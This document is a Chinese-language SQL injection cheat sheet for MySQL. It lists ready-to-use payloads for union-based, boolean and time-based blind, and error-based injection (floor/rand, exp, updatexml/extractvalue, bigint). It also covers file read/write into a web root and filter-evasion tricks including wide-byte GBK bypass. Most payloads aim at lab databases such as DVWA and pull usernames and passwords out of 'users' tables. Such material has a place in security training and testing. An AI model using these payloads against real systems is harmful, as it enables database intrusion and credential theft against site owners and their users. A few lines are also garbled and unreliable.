SQL注入----------------------------------------
---操作步骤---------------
#1.判断是否存在注入,注入是字符型还是数字型;
#2.猜解SQL查询语句中的字段数;
#3.确定显示位置;
#4.获取当前数据库;
#5.获取当前数据库的表名;
#6.获取表中的字段数;
#7.下载/获取字段或者列的具体数据;
---用联合查询实现-------------
#注入点及注入类型--字符/数字
id=1 and 1=1
id=1' and '1'='1
#确定SQL查询字段数
id=1 order by 3#
id=1' order by 3#
#确定当前数据库名
id=1' union select 1,database()#
id=1' union select version(),database()#
#确定表名
id=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
#确定列名
id=1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#
#确定列的详细信息
id=1 union select group_concat(user), group_concat(password) from users#
id=1 union select user, password from users#
id=1' union select user,password from users#
SQL盲注--------------------------------------------------
---操作步骤-----------
#1.判断是否存在注入,注入是字符型还是数字型;
#2.猜解当前数据库名:->猜解数据库名的长度->猜解数据库的名;
#3.猜解数据库的表名:->库中表的数量->表名的长度->表的名称;
#4.猜解表中的字段数:->表中字段的数量->字段的长度->字段的名称;
#5.猜解字段内具体的数据信息,如用户名和密码;
---布尔型盲注------------------
#判断是否存在注入,注入是字符型还是数字型;
1' and '1'='2
#猜解当前数据库名:->猜解数据库名的长度->猜解数据库的名;
1' and length(database())=1#
1' and ascii(substr(database(),1,1))>97#
#猜解数据库的表名:->库中表的数量->表名的长度->表的名称;
1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=1#
1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=1#
1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))>97#
#猜解表中的字段数:->表中字段的数量->字段的长度->字段的名称;
1' and (select count(column_name) from information_schema.columns where table_name='users')=1#
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1#
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))>97#
#猜解字段内具体的数据信息,如用户名和密码:猜解列内对象的个数->每个对象的长度->每个对象的名字;
1' and (select count(user) from users)=1#
1' and length(substr((select user from users limit 0,1),1))=1#
1' and (ascii(substr((select user from users limit 0,1),1,1)))=97#
---时间型盲注--------------
#判断是否存在注入,注入是字符型还是数字型;
1' and sleep(5)#
#猜解当前数据库名:->猜解数据库名的长度->猜解数据库的名;
1' and if(length(database())=1,sleep(5),1)#
1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)#
#猜解数据库的表名:->库中表的数量->表名的长度->表的名称;
1' and if((select count(table_name) from information_schema.tables where table_schema='dvwa')=1,sleep(5),1)#
1' and if(length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=1,sleep(5),1)#
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))>97,sleep(5),1)#
#猜解表中的字段数:->表中字段的数量->字段的长度->字段的名称;
1' and if((select count(column_name) from information_schema.columns where table_name='users')=1,sleep(5),1)#
1' and if(length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1,sleep(5),1)#
1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))>97,sleep(5),1)#
#猜解字段内具体的数据信息,如用户名和密码:猜解列内对象的个数->每个对象的长度->每个对象的名字;
1' and if((select count(user) from users)=1,sleep(5))#
1' and if(length(substr((select user from users limit 0,1),1))=1,sleep(5))#
1' and if((ascii(substr((select user from users limit 0,1),1,1)))=97,sleep(5),1)#
---盲注--left函数------------------------------------
#判断是否存在注入,注入是字符型还是数字型;
1' and '1'='2
#猜解当前数据库名:->猜解数据库名的长度->猜解数据库的名;
(#可以用%23代替,或者--+;'可用%27代替;)
1' and length(database())=1--+
1' and left(database(),1)>'a'--+
1' and left(database(),1)>'a'%23
#猜解数据库的表名:->库中表的数量->表名的长度->表的名称;
1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=1--+
1' and length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))=1--+
1' and left((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1)>'a'--+
#猜解表中的字段数:->表中字段的数量->字段的长度->字段的名称;
1' and (select count(column_name) from information_schema.columns where table_name='users')=1--+
1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=1--+
1' and left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)>'a'--+
#猜解字段内具体的数据信息,如用户名和密码:猜解列内对象的个数->每个对象的长度->每个对象的名字;
1' and (select count(user) from users)=1--+
1' and length((select user from users limit 0,1))=1--+
1' and left((select user from users limit 0,1),1)>'a'--+
---报错型注入-----------------------------------------
#查库
select
---floor(rand(0))报错---------------------------
#从当前数据库查询第一个表名(该类型报错查询不查询数据库名);
1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))a from information_schema.tables group by a%23
#从当前数据库查询第一个列名;
1' union select count(*),1,concat((select column_name from information_schema.columns where table_name='users' limit 0,1),floor(rand(0)*2))a from information_schema.columns group by a%23
#查询列的数据;
1' union select count(*),1,concat((select username from users limit 0,1),floor(rand(0)*2))a from users group by a%23
---exp报错----------------------------------------
#从当前数据库查询第一个表名(该类型报错查询不查询数据库名);
1' union select exp(~(select * from (select table_name from information_schema.tables where table_schema=database() limit 0,1)a)),2,3%23
#从当前数据库查询第一个列名;
1' union select exp(~(select * from (select column_name from information_schema.columns where table_name='users' limit 0,1)a)),2,3%23
#查询列的数据;
1' union select exp(~(select * from (select username from users limit 0,1)a)),2,3%23
---xpath报错----------------------------------
--updatexml函数-----------------
1" and updatexml(1,concat(0x7e,(select @@version),0x7e),1)%23
--extractvalue函数-----------------------
1" and extractvalue(1,concat(0x7e,(select @@version),0x7e))%23
#查询所有数据库
1" and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_ schema.schemata),0x7e))%23
#查询所有列
1" and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema. tables where table_schema="security"),0x7e))%23
---bigint报错-------------------------------------
1" union select(!(select * from (select user())x) -~0),2,3%23
#查询所有数据库
1" union select(!(select * from (select group_concat(schema_name) from information_schema.schemata limit 0,1)x) -~0),2,3%23
#查询所有表
1" union select(!(select * from (select group_concat(table_name) from information_schema. tables where table_schema="security")x) -~0),2,3%23
#查询所有列
1" union select(!(select * from (select group_concat(column_name) from information_schema. columns where table_name="users")x) -~0),2,3%23
---SQL读、写文件--------------------------------------------
1' union select 1,2,3 into file "/var/www/html/a.txt"#
1' union select 1,'<?php phpinfo();?>',3 into file "/var/www/html/a.txt"#
-1' union select 1,load file("/var/www/html/a.txt"),3#
------------------------------------SQL盲注技巧-----------------------------
1、直接查找
username:=r.Form.Get("username")
password:=r.Form.Get("password")
sql:="SELECT * FROM user WHERE username='"+username+"' AND password='"+password+"'"
注入:
用户:myuser' or 'foo' = 'foo' -- 密码:任意
结果:SELECT * FROM user WHERE username='myuser' or 'foo' = 'foo' --'' AND password='xxx'
2、ascii编码
%20 空格 %22 " %23 # %24 $ %25 % %26 & %27 ' %28 ( %29 ) %2B + %2C ,
%3C < %3D = %3E >
3、sql函数
3.1 字符串截取函数:left(), right(), substring(), substring_index(): mid()、substr()同substring()
mid():MID 函数用于从文本字段中提取字符。常用于属性值的猜测
函数原型:SELECT MID(column_name,start[,length]) FROM table_name 测试例子:SELECT MID(City,1,3) as SmallCity FROM Persons //从 "City" 列中提取前 3 个字符。
sql注入常用:mid(passwd/**/from/**/1/**/for/**/1)
替代函数:
函数原型:SUBSTRING ( expression , start , length ) 测试例子:SELECT au_lname, SUBSTRING(au_fname, 1, 1) FROM authors
函数原型:substring_index(str,delim,count) 测试例子:select substring_index('www.example.com', '.', 2);//截取第二个 '.' 之前的所有字符。得到“www.example”;
//在字符串中找不到 delim 参数指定的值,就返回整个字符串 select substring_index('www.example.com', '.', -2);//截取第二个 '.' (倒数)之后的所有字符,得到“example.com”
SUBSTR(str,pos)//SUBSTR(str FROM pos)//MID(str,pos)//MID(str FROM pos)//SUBSTRING(str,pos)//SUBSTRING(str FROM pos) : str从pos位置开始截取到最后 注:pos第一个下标是1
SUBSTR(str,pos,len)//SUBSTR(str FROM pos FOR len)//MID(str,pos,len)//MID(str FROM pos FOR len)//SUBSTRING(str,pos,len)//SUBSTRING(str FROM pos FOR len) : str从pos位置开始截取到len位字符
left(str, length):select left('example.com', 3);得到“exa”
right(str, length):同left
3.2 字符串比较:strcmp函数是比較两个字符串的大小,返回比較的结果 ,相等返回0,大于返回1,小于返回-1
字符串的比較是比較字符串中各对字符的ASCII码。首先比較两个串的第一个字符,若不相等,则停止比較并得出大于或小于的结果;假设相等就接着 比較第二个字符然后第三个字符等等。
假设两上字符串前面的字符一直相等,像"disk"和"disks" 那样, 前四个字符都一样, 然后比較第 五个字符, 前一个字符串"disk"仅仅剩下结束符'/0',后一个字符串"disks"剩下's',
'/0'的ASCII码小于's'的ASCII 码,所以得出了结果。因此不管两个字符串是什么样,strcmp函数最多比較到当中一个字符串遇到结束符'/0'为止,就能得出结果。
例子:substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
3.3 编码 :hex() bin() ascii()
3.3.1 hex(): HEX(N_or_S), N_or_S是一个数字,返回N,其中N是一个长长(BIGINT)数字的十六进制值的字符串表示,这等同于CONV(N,10,16)
N_or_S是一个字符串,返回N_or_S在N_or_S每个字符被转化为两个十六进制数字的十六进制字符串表示。
3.3.2 ASCII(str):返回字符串str的最左字符的数值。返回0,如果str为空字符串。返回NULL,如果str为NULL。 ASCII()返回数值是从0到255。
例:SELECT ASCII('2');返回50 SELECT ASCII('dx');返回100 ASCII('d')=100
3.3.3 bin() 返回一个整数 int 或者长整数 long int 的二进制表示。
3.4 其它常用
version{}:mysql返回版本号
ORD() 函数返回字符串第一个字符的 ASCII 值
concat() 字符串拼接,有空则拼接为null
4、猜测
4.1 猜表的名称
思路一:select * from sqltest where username='wuyanzu' and mid(passwd,1,1) in ('c');
思路二:猜表一般的表的名称无非是admin adminuser user pass password 等. and 0<>(select count(*) from admin) —判断是否存在admin这张表
思路三:利用报错信息:
3.1 select count(*),(floor(rand(0)*2))x from information_schema.tables group by x; //(floor(rand(0)*2)) 当存在三条记录及以上时会报错,主键重复报错。
爆出版本号
select * from sqltest where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
爆出用户名
select 1 from(select count(*),concat((select concat(0x7e,user(),0x7e) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a
select * from sqltest where id = 1 and (select 1 from (select count(*),concat((select sname from student where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
暴库
select * from sqltest where id = 1 and (select 1 from (select count(*),concat((SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
爆表
select * from sqltest where id = 1 and (select 1 from (select count(*),concat((SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
爆字段
select * from sqltest where id = 1 and (select 1 from (select count(*),concat((SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='student' LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
爆内容
select * from sqltest where id = 1 and (select 1 from (select count(*),concat((SELECT distinct concat(0x23,sname,0x3a,id,0x23) FROM student limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
version() user() database()
3.2 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); //Extracts a value from an XML string using XPath notation 使用XPath符号从XML字符串中提取值
select * from sqltest where id = 1 and extractvalue(1, concat(0x5c,(select sname from student limit 1)));–
暴数据库版本号:and extractvalue(1, concat(0x7e, (select @@version),0x7e))
链接用户:and extractvalue(1, concat(0x7e, (select user()),0x7e))
链接数据库:and extractvalue(1, concat(0x7e, (select database()),0x7e))
暴库:and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x7e,schema_name,0x7e) FROM admin limit 0,1))) //admin是一个当前数据库中不存在的表,会提示<data>.<table>不存在
爆表:and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x7e,table_name,0x7e) FROM admin limit 0,1)))//爆不出来
extractvalue(1, concat(0x7e,(SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)));
爆字段:and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x7e,column_name,0x7e) FROM admin limit 0,1)))//爆不出来
extractvalue(1, concat(0x7e,(SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='student' LIMIT 0,1)))
爆内容:and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)))//爆不出来
extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,sname,0x3a,id,0x23) FROM student limit 0,1)))
3.3 and 1=(updatexml(1,concat(0x3a,(select user())),1))
select * from sqltest where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1));
思路四:利用union回显
4.1 列数: select * from student union select 1,2;//select 1 select 1,2 select 1,2,3 ……
回显位爆库、表、列(字段)、值,以第二位为回显位举例:
select * from student union select 1,group_concat(schema_name) from information_schema.schemata //爆库
select * from student union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()//爆表
select * from student union select 1,group_concat(column_name) from information_schema.columns where table_name='表名'//爆字段
select * from student union select 1,group_concat(字段1,0x3a,字段2) from 表名 //爆值,0x3a是用来分隔字段的,方便我们查看
例,select * from sqltest union select 1,group_concat(sname,0x3a,id),3 from student;
思路五:布尔型盲注 : exists length 字符串截取
and length(database())>10 //判断当前数据库长度
and ord(mid(database(),1,1))>100 //判断数据库第一个字符的值
and ord(mid(database(),2,1))>100 //判断数据库第二个字符的值
思路六:时间延迟型盲注
and if(length(database())>'5',sleep(5),0) //判断库名长度
and if(ord(mid(database(),1,1))>100,sleep(5),0) //判断库名第一个字符
and if((length(database()>10),benchmark(10000000,md5(1)),0)
wait for
load_data
into outfile上传 udf提权
5、常用的绕过技巧
5.1 绕过空格:
两个空格代替一个空格,用Tab代替空格,%a0=空格 %20 %09 %0a %0b %0c %0d %a0 /**/
括号绕过空格:如果空格被过滤,括号没有被过滤,可以用括号绕过。在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格
select(user())from dual where(1=1)and(2=2)
?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23 //猜解database()第一个字符ascii码是否为109,若是则加载延时。
select * from student where id=1 and(sleep(ascii(mid(database()from(1)for(1)))=109));
5.2 引号绕过: table_name="users" ===> table_name=0x7573657273
5.3 逗号绕过:
substr()和mid() : select substr(database(0 from 1 for 1); select mid(database(0 from 1 for 1);
limit可以使用offset来绕过:select * from news limit 0,1 ===> select * from news limit 1 offset 0
5.4 比较符号(<>)绕过:使用greatest()
select * from users where id=1 and ascii(substr(database(),0,1))>64
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
5.5 or and 绕过 : and=&& or=||
5.6 宽字节绕过:过滤 ' 的时候往往利用的思路是将 ' 转换为 \' 。在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字 (网站时gbk格式的)
urlencode('\) = %5c%27,我们在 %5c%27 前面添加 %df ,形成 %df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的(')符号在外面
将 \' 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。
select count(*) from information_schema.COLUMNS where table_schema = 'dev_lide_appdb'and table_name='cust_user'
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
floor(ran(0)*2):
select * from sqltest where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
select * from sqltest where id = 1 and (select 1 from (select count(*),concat((select sname from student where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
select 1 from(select count(*),concat((select concat(0x7e,user(),0x7e) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a
select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a
select * from sqltest where id = 1 and (select 1 from (select count(*),concat((SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a
select * from sqltest where id = 1 and (select 1 from (select count(*),concat((SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x61646D696E LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a
select * from sqltest where id = 1 and (select 1 from (select count(*),concat((SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='student' LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a
select * from sqltest where id = 1 and (select 1 from (select count(*),concat((SELECT distinct concat(0x23,sname,0x3a,id,0x23) FROM student limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
extractvalue:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
select * from sqltest where id = 1 and extractvalue(1, concat(0x5c,(select sname from student limit 1)));–
updatexml:
and 1=(updatexml(1,concat(0x3a,(select user())),1))
select * from sqltest where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1));
绕过空格过滤:+,/**/,双重空格,回车换行符(%0a,%a0),宽字节(%df),圆括号,%09,%0a,%0b,%0c,%0d等
绕过union,select等关键字过滤:大小写,双写(uniounionn,unionunion),内联注释(/*!union*/),编码
绕过and、or过滤:&&,||,%26%26,大小写,双写关键字(anandd,andand),编码
绕过小括号被过滤,使用正则匹配,如regexp binary '^.*$'或者使用笛卡儿积,如: union select b.column_name from information_schema.tables a join information_schema.columns b join information_schema.columns c where 1=2
绕过逗号过滤,'xor(select case when 2>1 then sleep(4) else 0 end limit 0 offset 1)or'